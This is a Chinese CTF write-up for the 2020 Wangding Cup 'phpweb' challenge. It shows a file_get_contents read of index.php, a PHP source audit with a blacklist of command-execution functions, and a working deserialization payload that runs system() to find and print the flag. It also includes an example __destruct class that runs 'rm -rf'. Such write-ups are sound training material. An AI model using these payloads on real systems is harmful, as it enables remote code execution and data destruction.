2.[网鼎杯 2020 朱雀组]phpweb

打开题目页面如下,发现刷新后时间回显也随之刷新改变

用burp suite抓包,发送到重放器查看

看到有传参,看到返回结果"Y-m-d+h:i:s+a"


在 PHP 里,date() 函数的作用是格式化本地日期和时间,然后返回格式化后的字符串。这里传入的参数 "Y-m-d+h:i:s+a" 是日期时间的格式字符串,用来规定输出的日期时间样式


猜测func参数是一个接收函数,p参数是函数执行后的内容

为获取查看源码,调用 PHP 中的 file_get_contents 函数来读取 index.php 文件的内容。在 PHP 中,file_get_contents 函数用于将整个文件读入


file_get_contents()函数

是 PHP 中的一个内置函数,用于将整个文件读入一个字符串。

file_get_contents() 函数提供了一种简单而高效的方式来读取文件内容,它可以处理本地文件,也能通过支持的协议(如 HTTP、FTP 等)读取远程文件内容。


index.php文件

是一个在 Web 开发中非常常见的文件名

网站入口文件 :在大多数 Web 应用程序里,尤其是使用 PHP 开发的网站,index.php 常被作为默认的入口文件。当用户访问网站域名(如 example.com)时,Web 服务器(如 Apache 或 Nginx)会按照配置去查找默认文档,index.php 是常见的默认文档选项之一。一旦找到,服务器就会执行该文件并将结果返回给客户端浏览器。

路由分发 :在一些基于 MVC(模型 - 视图 - 控制器)架构或其他框架的 PHP 项目中,index.php 可能承担着路由分发的重要任务。它会接收用户的请求,根据请求的 URL 信息将其分发给相应的控制器和动作进行处理。

在很多 PHP 框架中,index.php 承担着路由分发的核心任务。它会接收用户的请求,根据请求的 URL 信息将其分发给相应的控制器和动作进行处理。例如,在 Laravel 框架中,index.php 会引导请求到路由文件,然后根据定义的路由规则调用对应的控制器方法。而其他文件,如控制器文件、模型文件等,专注于具体的业务逻辑实现。


构造payload

func=file_get_contents&p=index.php

得到PHP源码

进行代码审计

php 复制代码
<?php
    // 定义一个包含禁用函数名的数组
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

    // 定义一个名为 gettime 的函数,接收两个参数:$func(函数名)和 $p(传递给函数的参数)
    function gettime($func, $p) {
        // 调用 $func 函数,并将 $p 作为参数传递给它,将结果存储在 $result 中
        $result = call_user_func($func, $p);
        // 获取 $result 的数据类型
        $a= gettype($result);
        // 如果 $result 的数据类型是字符串
        if ($a == "string") {
            // 返回 $result
            return $result;
        } else {
            // 否则返回空字符串
            return "";
        }
    }

    // 定义一个名为 Test 的类
    class Test {
        // 定义类的属性 $p,初始值为日期格式字符串 "Y-m-d h:i:s a"
        var $p = "Y-m-d h:i:s a";
        // 定义类的属性 $func,初始值为 "date"
        var $func = "date";

        // 定义析构函数,当对象被销毁时自动调用
        function __destruct() {
            // 如果 $this->func 不为空
            if ($this->func != "") {
                // 调用 gettime 函数,并输出结果
                echo gettime($this->func, $this->p);
            }
        }
    }

    // 从 $_REQUEST 超全局数组中获取用户通过 GET 或 POST 方法传递的 func 参数值,并存储在 $func 变量中
    $func = $_REQUEST["func"];
    // 从 $_REQUEST 超全局数组中获取用户通过 GET 或 POST 方法传递的 p 参数值,并存储在 $p 变量中
    $p = $_REQUEST["p"];

    // 如果 $func 不为 null
    if ($func != null) {
        // 将 $func 的值转换为小写
        $func = strtolower($func);
        // 检查 $func 是否不在禁用函数数组 $disable_fun 中
        if (!in_array($func,$disable_fun)) {
            // 如果不在禁用数组中,调用 gettime 函数并输出结果
            echo gettime($func, $p);
        } else {
            // 如果在禁用数组中,终止脚本并输出 "Hacker..."
            die("Hacker...");
        }
    }
?>

代码审计

函数黑名单 :代码定义了一个 $disable_fun 数组,包含了一系列可能存在安全风险的函数,如可以执行系统命令的 execshell_exec 等,以及可以泄露系统信息的 phpinfo 等。在调用用户传入的函数之前,会检查该函数是否在黑名单中,如果在则终止脚本,这在一定程度上可以防止恶意用户利用危险函数进行攻击。

call_user_func 漏洞 :使用 call_user_func 函数调用用户传入的函数名,虽然有黑名单机制,但仍然存在风险。可能会通过一些绕过技巧来执行恶意代码。例如,如果黑名单存在遗漏,或者通过大小写混合、函数别名等方式绕过检查,就可能执行危险函数。

输入验证不足 :代码只是简单地将用户传入的 func 参数转换为小写并检查是否在黑名单中,没有对 p 参数进行任何验证。可能会通过构造特殊的 p 参数值来利用被调用函数的漏洞。

类属性可利用性Test 类的 $func$p 属性可以被序列化和反序列化。可能会构造恶意的序列化对象,通过反序列化操作来修改这些属性,从而绕过黑名单检查执行危险函数。


看到黑名单过滤了很多关键字,尝试通过反序列化,得到flag


反序列化

序列化:是指将对象的状态信息转换为可以存储或传输的形式(如字节序列、JSON 字符串、XML 文档等)的过程。例如,在网络通信中,为了在不同的计算机之间传输对象,需要先将对象序列化。

反序列化:与序列化相反,它是将序列化后的字节序列、JSON 字符串、XML 文档等数据恢复为原始对象的过程。通过反序列化,可以重新获取到原始对象的状态和数据。

网络通信:在客户端和服务器之间传输对象时,需要先将对象序列化后发送,服务器接收到数据后再进行反序列化,还原成原始对象进行处理。

数据持久化:将对象保存到文件或数据库中时,需要先将对象序列化,在需要使用对象时再进行反序列化。

分布式系统:不同节点之间需要交换对象时,通过序列化和反序列化来实现对象的传输。

Python

在 Python 中,可以使用 pickle 模块进行对象的序列化和反序列化。

python 复制代码
import pickle

# 定义一个示例类
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

# 创建一个 Person 对象
person = Person("Alice", 25)

# 序列化对象
serialized_data = pickle.dumps(person)

# 反序列化对象
deserialized_person = pickle.loads(serialized_data)

# 验证反序列化结果
print(deserialized_person.name)  
print(deserialized_person.age)   

上述代码中,pickle.dumps() 方法将 Person 对象序列化为字节序列,pickle.loads() 方法将字节序列反序列化为原始的 Person 对象。

在 PHP 中,反序列化是将通过 serialize() 函数序列化后的数据恢复为原始 PHP 变量(如对象、数组等)的过程,使用 unserialize() 函数来完成。下面从基本使用、应用场景、安全风险等方面详细介绍 PHP 反序列化。

数组的反序列化
php 复制代码
<?php
// 定义一个数组
$originalArray = array('apple', 'banana', 'cherry');

// 序列化数组
$serializedArray = serialize($originalArray);

// 反序列化数组
$deserializedArray = unserialize($serializedArray);

// 输出反序列化后的数组
print_r($deserializedArray);
?>

在上述代码中,首先定义了一个数组 $originalArray,然后使用 serialize() 函数将其序列化得到 $serializedArray,最后使用 unserialize() 函数将序列化后的字符串反序列化为数组 $deserializedArray,并通过 print_r() 输出结果。

对象的反序列化
php 复制代码
<?php
// 定义一个类
class User {
    public $name;
    public $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }

    public function displayInfo() {
        echo "Name: ". $this->name . ", Age: ". $this->age;
    }
}

// 创建一个 User 对象
$user = new User('John', 30);

// 序列化对象
$serializedUser = serialize($user);

// 反序列化对象
$deserializedUser = unserialize($serializedUser);

// 调用对象的方法
$deserializedUser->displayInfo();
?>

此代码中,定义了一个 User 类,创建了该类的对象 $user,将其序列化后再反序列化得到 $deserializedUser,最后调用对象的 displayInfo() 方法输出信息。

数据存储:将复杂的数据结构(如对象、数组)存储到文件或数据库中时,先进行序列化,读取时再进行反序列化,方便数据的持久化和恢复。

缓存:在缓存系统中,可以将对象或数组序列化后存储,当需要使用时再反序列化,减少对象创建的开销。

分布式系统通信:在不同服务器之间传递对象或数组时,通过序列化和反序列化实现数据的传输和恢复。

PHP 反序列化存在安全风险,特别是当反序列化的数据来自不可信的来源时。可以构造恶意的序列化数据,利用 PHP 的魔术方法(如 __destruct()__wakeup() 等)执行任意代码。

php 复制代码
<?php
class Evil {
    public function __destruct() {
        // 执行恶意操作,如删除文件
        system('rm -rf /tmp/test');
    }
}

$evilObject = new Evil();
$serializedEvil = serialize($evilObject);

// 模拟攻击者将恶意序列化数据传入
$input = $serializedEvil;
$deserialized = unserialize($input);
?>

在上述代码中,Evil 类的 __destruct() 方法会在对象销毁时执行恶意的系统命令。可以通过构造并传入恶意的序列化数据来触发该命令。

代码

php 复制代码
<?php
class Test {
    var $p = "ls";
    var $func = "system";

    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

// 先定义变量,再创建对象
$testObject;
$testObject = new Test();

// 存储序列化结果到变量,再输出
$serializedResult = serialize($testObject);
echo $serializedResult;
?>

可以用这个在线工具运行PHP代码

php在线运行,在线工具,在线编译IDE_w3cschool

得到结果

构造payload

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

unserialize()函数

是 PHP 中的一个内置函数,主要用于将经过 serialize() 函数序列化后的数据恢复为原始的 PHP 变量(如对象、数组等)。

最终得到flag

flag{c54e1db9-b9ed-4dd2-a010-3bcdcfb5bc19}

相关推荐
5xidixi2 小时前
HTTP(1)
网络·网络协议·http
Allen_LVyingbo4 小时前
构建医疗AI编程可控价值观罗盘:多维度融合导向
安全·全文检索·健康医疗
職場上的造物主4 小时前
高清种子资源获取指南 | ✈️@seedlinkbot
python·ios·php·音视频·视频编解码·视频
dal118网工任子仪4 小时前
94,【2】buuctf web [安洵杯 2019]easy_serialize_php
android·前端·php
Linux运维老纪4 小时前
K8s之Service详解(Detailed Explanation of K8s Service)
服务器·网络·云原生·容器·kubernetes·云计算·运维开发
程序猿编码5 小时前
自定义命令执行器:C++中命令封装的深度探索(C/C++实现)
linux·c语言·c++·网络安全·shell·命令行
一只码代码的章鱼5 小时前
计算机网络 笔记 传输层
网络·网络协议·tcp/ip·计算机网络
别致的影分身5 小时前
Linux网络 HTTP cookie 与 session
网络·网络协议·http
star010-6 小时前
【视频+图文详解】HTML基础4-html标签的基本使用
前端·windows·经验分享·网络安全·html·html5